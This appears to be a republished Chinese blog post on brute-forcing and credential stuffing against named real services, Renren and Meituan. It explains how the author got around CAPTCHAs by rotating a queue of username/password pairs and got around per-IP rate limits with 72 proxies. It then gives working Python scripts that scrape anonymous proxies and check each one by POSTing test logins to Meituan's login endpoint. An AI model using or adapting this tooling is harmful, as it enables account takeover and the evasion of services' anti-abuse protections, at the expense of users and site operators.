批量获取及验证HTTP代理的Python脚本


Posted in Python onApril 23, 2017

HTTP暴力破解、撞库,有一些惯用的技巧,比如:

1. 在扫号人人网时,我遇到单个账号错误两次,强制要求输入验证码,而对方并未实施IP策略。

我采用维护10万(用户名,密码) 队列的方式来绕过验证码。具体的做法是,当某个用户名、密码组合遇到需要验证码,就把该破解序列挂起,放到队列尾部等待下次测试,继续破解其他账号密码。

这样就可以保证2/3的时间都在进行正常破解和扫号。

2. 在破解美团网某系统账号时,我遇到了单个IP访问有一定限制,请求频率不可过快。于是我挂了72个 HTTP代理来解决这个问题。 看似每个IP的请求都正常,但其实从整个程序上看,效率还是挺可观的。

本篇我发出自己抓HTTP的脚本片段,其实只有几行。匿名代理是从这里抓取的:http://www.xici.net.co/nn/

首先获取代理列表 :

from bs4 import BeautifulSoup
import urllib2


of = open('proxy.txt' , 'w')

for page in range(1, 160):
  html_doc = urllib2.urlopen('http://www.xici.net.co/nn/' + str(page) ).read()
  soup = BeautifulSoup(html_doc)
  trs = soup.find('table', id='ip_list').find_all('tr')
  for tr in trs[1:]:
    tds = tr.find_all('td')
    ip = tds[1].text.strip()
    port = tds[2].text.strip()
    protocol = tds[5].text.strip()
    if protocol == 'HTTP' or protocol == 'HTTPS':
      of.write('%s=%s:%s\n' % (protocol, ip, port) )
      print '%s=%s:%s' % (protocol, ip, port)

of.close()

接着验证代理是否可用,因为我是用于破解美团网系统的账号,因此用了美团的页面标记:

#encoding=gbk
import httplib
import time
import urllib
import threading

inFile = open('proxy.txt', 'r')
outFile = open('available.txt', 'w')

lock = threading.Lock()

def test():
  while True:
    lock.acquire()
    line = inFile.readline().strip()
    lock.release()
    if len(line) == 0: break
    protocol, proxy = line.split('=')
    headers = {'Content-Type': 'application/x-www-form-urlencoded',
      'Cookie': ''}
    try:
      conn = httplib.HTTPConnection(proxy, timeout=3.0)
      conn.request(method='POST', url='http://e.meituan.com/m/account/login', body='login=ttttttttttttttttttttttttttttttttttttt&password=bb&remember_username=1&auto_login=1', headers=headers )
      res = conn.getresponse()
      ret_headers = str( res.getheaders() ) 
      html_doc = res.read().decode('utf-8')
      print html_doc.encode('gbk')
      if ret_headers.find(u'/m/account/login/') > 0:
        lock.acquire()
        print 'add proxy', proxy
        outFile.write(proxy + '\n')
        lock.release()
      else:
        print '.',
    except Exception, e:
      print e

all_thread = []
for i in range(50):
  t = threading.Thread(target=test)
  all_thread.append(t)
  t.start()
  
for t in all_thread:
  t.join()

inFile.close()
outFile.close()
Python 相关文章推荐
全面理解Python中self的用法
Jun 04 Python
python绘制条形图方法代码详解
Dec 19 Python
Python序列循环移位的3种方法推荐
Apr 09 Python
python 分离文件名和路径以及分离文件名和后缀的方法
Oct 21 Python
CentOS6.9 Python环境配置(python2.7、pip、virtualenv)
May 06 Python
Python的Tkinter点击按钮触发事件的例子
Jul 19 Python
基于Python实现ComicReaper漫画自动爬取脚本过程解析
Nov 11 Python
python实现飞机大战项目
Mar 11 Python
Keras官方中文文档:性能评估Metrices详解
Jun 15 Python
Scrapy模拟登录赶集网的实现代码
Jul 07 Python
Python发送邮件实现基础解析
Aug 14 Python
python基于openpyxl生成excel文件
Dec 23 Python
深入理解python中的select模块
Apr 23 #Python
Python3如何解决字符编码问题详解
Apr 23 #Python
Python制作刷网页流量工具
Apr 23 #Python
Python读取指定目录下指定后缀文件并保存为docx
Apr 23 #Python
正确理解python中的关键字“with”与上下文管理器
Apr 21 #Python
python妙用之编码的转换详解
Apr 21 #Python
简单谈谈Python中的元祖(Tuple)和字典(Dict)
Apr 21 #Python
You might like
PHP的分页功能
2007/03/21 PHP
php错误提示failed to open stream: HTTP request failed!的完美解决方法
2011/06/06 PHP
新手学习PHP的一些基础知识分享
2011/07/27 PHP
PHP调试函数和日志记录函数分享
2015/01/31 PHP
php单一接口的实现方法
2015/06/20 PHP
ThinkPHP模型详解
2015/07/27 PHP
PHP中Restful api 错误提示返回值实现思路
2016/04/12 PHP
浅谈php数组array_change_key_case() 函数和array_chunk()函数
2016/10/22 PHP
PHP判断json格式是否正确的实现代码
2017/09/20 PHP
PHP实现将多个文件压缩成zip格式并下载到本地的方法示例
2018/05/23 PHP
PHP使用mongoclient简单操作mongodb数据库示例
2019/02/08 PHP
会自动逐行上升的文本框
2006/06/30 Javascript
JS onmousemove鼠标移动坐标接龙DIV效果实例
2013/12/16 Javascript
js实现模拟银行卡账号输入显示效果
2015/11/18 Javascript
jQuery插件实现多级联动菜单效果
2015/12/01 Javascript
vue-router路由简单案例介绍
2017/02/21 Javascript
微信小程序中的店铺评分组件及vue中用svg实现的评分显示组件
2018/11/16 Javascript
JavaScript实现简单音乐播放器
2020/04/17 Javascript
node获取客户端ip功能简单示例
2019/08/24 Javascript
在Webpack中用url-loader处理图片和字体的问题
2020/04/28 Javascript
vue等两个接口都返回结果再执行下一步的实例
2020/09/08 Javascript
一步步解析Python斗牛游戏的概率
2016/02/12 Python
详解python之配置日志的几种方式
2017/05/22 Python
详解flask表单提交的两种方式
2018/07/21 Python
用python解压分析jar包实例
2020/01/16 Python
Pycharm如何导入python文件及解决报错问题
2020/05/10 Python
波兰最大的宠物用品网上商店:FERA.PL
2019/08/11 全球购物
如何查看在weblogic中已经发布的EJB
2012/06/01 面试题
关于环保的标语
2014/06/13 职场文书
基层党员群众路线教育实践活动个人对照检查材料思想汇报
2014/10/05 职场文书
毕业晚宴祝酒词
2015/08/11 职场文书
远程教育集中轮训基层干部培训班学习心得体会
2016/01/09 职场文书
一年级下册数学教学反思
2016/02/16 职场文书
2016年基层党组织公开承诺书
2016/03/25 职场文书
虚拟机linux端mysql数据库无法远程访问的解决办法
2021/05/26 MySQL
ORACLE数据库应用开发的三十个注意事项
2021/06/07 Oracle